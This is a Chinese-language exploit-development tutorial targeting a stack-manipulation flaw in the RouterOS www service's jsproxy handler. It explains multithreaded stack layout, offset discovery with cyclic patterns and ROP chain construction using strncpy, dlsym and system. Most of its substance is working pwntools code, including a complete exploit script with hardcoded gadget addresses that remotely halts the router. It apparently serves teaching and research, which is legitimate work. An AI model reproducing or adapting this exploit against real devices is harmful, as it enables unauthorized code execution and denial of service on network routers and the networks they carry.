一步一步 Pwn RouterOS之Exploit构造
字数 1462 2025-08-25 22:59:03
RouterOS漏洞利用开发教程:从漏洞分析到Exploit构造
1. 漏洞背景与前期准备
本教程基于RouterOS系统中的www服务漏洞,该漏洞存在于jsproxy处理模块中。在开始之前,我们已经完成了以下准备工作:
- 漏洞分析:确定了漏洞存在于处理HTTP请求的Content-Length头部时
- 调试环境搭建:配置了RouterOS调试环境
- 漏洞原理理解:确认这是一个通过alloca函数不当使用导致的栈操作问题
2. 漏洞利用能力分析
当前我们掌握的关键能力:
- 可以利用alloca的
sub esp *操作抬高栈指针 - 可以向抬高的栈空间写入任意数据
- 关键挑战:栈上方通常是堆空间,地址不固定,难以直接利用
3. 多线程机制与利用思路
3.1 多线程栈布局
在多线程环境中,每个线程都有自己的栈空间,这些栈空间位于进程的栈区域内:
- 线程栈按照创建顺序依次排列
- RouterOS中www服务的线程栈大小默认为0x20000(通过
pthread_attr_setstacksize设置) - 线程栈之间是相邻的,地址差固定
3.2 利用思路
当同时建立两个socket连接时:
- 主线程创建两个工作线程(线程1和线程2)处理连接
- 在线程1中触发漏洞,可以修改线程2的栈数据
- 目标是修改线程2的返回地址,实现ROP利用
4. 偏移量确定技术
由于线程栈大小为0x20000,我们使用cyclic模式确定精确偏移:
from pwn import *
def makeHeader(num):
return "POST /jsproxy HTTP/1.1\r\nContent-Length: " + str(num) + "\r\n\r\n"
s1 = remote("192.168.2.124", 80)
s2 = remote("192.168.2.124", 80)
s1.send(makeHeader(0x20900)) # 触发漏洞
sleep(0.5)
s2.send(makeHeader(0x100)) # 第二个连接
sleep(0.5)
s1.send(cyclic(0x2000)) # 发送测试模式
sleep(0.5)
s2.close() # 触发崩溃
通过崩溃时的EIP值,计算cyclic模式的偏移量,确定返回地址的位置。
5. ROP链构造技术
5.1 面临的挑战
- 程序中没有直接可用的system函数
- 只有一次输入机会,难以布置多个字符串参数
- ROP链执行过程中可能被破坏
5.2 解决方案
- 栈调整:使用
ret 0x1bb指令移动栈指针,避免ROP链被破坏 - 字符串构造:分阶段使用strncpy构造所需字符串
- 分3次构造"system"字符串
- 分2次构造"halt"命令字符串
- 函数地址获取:使用dlsym动态获取system地址
- 函数调用:通过jmp eax调用获取到的system函数
5.3 关键ROP组件
# 关键函数地址
strncpy_plt = 0x08050D00
dlsym_plt = 0x08050C10
system_addr = 0x0805C000 + 2
halt_addr = 0x805c6e0
# ROP gadget
ppp_addr = 0x08059C03 # pop edx; pop ebx; pop esi; pop edi; pop ebp; ret
pp_addr = 0x08059C04 # pop ebx; pop esi; pop ebp; ret
pppppr_addr = 0x080540b4
ret_1bb = 0x0805851f # ret 0x1bb
ret = 0x0804818c # 普通ret
5.4 字符串构造技巧
构造"system"字符串示例:
-
使用strncpy从".text"段复制"sys":
p32(strncpy_plt) p32(pppppr_addr) p32(system_addr) # 目标地址 p32(0x0805ab58) # 源地址(包含"sys") p32(3) # 复制长度 -
复制"te":
p32(strncpy_plt) p32(pppppr_addr) p32(system_addr + 3) # 目标地址偏移 p32(0x0805b38d) # 源地址(包含"te") p32(2) # 复制长度 -
复制"m":
p32(strncpy_plt) p32(pppppr_addr) p32(system_addr + 5) # 目标地址偏移 p32(0x0805b0ec) # 源地址(包含"m") p32(1) # 复制长度
同样方法构造"halt"命令字符串。
6. 完整Exploit流程
- 初始化两个连接
- 发送精心构造的Content-Length头部触发漏洞
- 构建ROP链:
- 调整栈指针
- 分阶段构造"system"和"halt"字符串
- 调用dlsym获取system地址
- 调用system("halt")
- 触发漏洞执行
完整Exploit代码:
from pwn import *
def makeHeader(num):
return "POST /jsproxy HTTP/1.1\r\nContent-Length: " + str(num) + "\r\n\r\n"
s1 = remote("192.168.2.124", 80)
s2 = remote("192.168.2.124", 80)
s1.send(makeHeader(0x20900))
sleep(0.5)
s2.send(makeHeader(0x100))
sleep(0.5)
# ROP链构造
payload = ""
payload += p32(ret_1bb) # 栈调整
payload += p32(ret)
payload += "A" * 0x1bb
payload += p32(ret)
# 构造system字符串
payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(system_addr)
payload += p32(0x0805ab58) # "sys"
payload += p32(3)
payload += "B" * 8
payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(system_addr + 3)
payload += p32(0x0805b38d) # "te"
payload += p32(2)
payload += "B" * 8
payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(system_addr + 5)
payload += p32(0x0805b0ec) # "m"
payload += p32(1)
payload += "B" * 8
# 构造halt字符串
payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(halt_addr)
payload += p32(0x0805670f)
payload += p32(2)
payload += "B" * 8
payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(halt_addr + 2)
payload += p32(0x0804bca1)
payload += p32(2)
payload += "B" * 8
# 调用dlsym获取system地址
payload += p32(dlsym_plt)
payload += p32(pp_addr)
payload += p32(0) # 第一个参数
payload += p32(system_addr) # 第二个参数("system")
payload += p32(0x0804ab5b) # 返回地址
payload += "BBBB" # 填充
# 调用system("halt")
payload += p32(halt_addr)
s1.send(cyclic(1612) + payload + "B" * 0x100)
sleep(0.5)
s2.close()
7. 关键知识点总结
- 多线程栈布局:理解线程栈的排列方式和大小是漏洞利用的基础
- 精确偏移确定:使用cyclic模式确定返回地址的精确偏移
- ROP链构造:
- 使用ret指令调整栈指针
- 分阶段构造必要字符串
- 利用现有代码片段拼接所需功能
- 动态函数解析:使用dlsym获取未导出函数的地址
- 调试技巧:ROP链被破坏时,使用栈调整指令绕过
8. 扩展思考
- 如何适应不同版本的RouterOS?
- 除了halt命令,如何实现更复杂的命令执行?
- 如何绕过可能存在的防护机制(如ASLR)?
- 如何将这种技术应用于其他多线程环境下的漏洞利用?
通过本教程,你应该掌握了从漏洞分析到Exploit构造的完整流程,特别是多线程环境下的特殊利用技巧和ROP链的精细构造方法。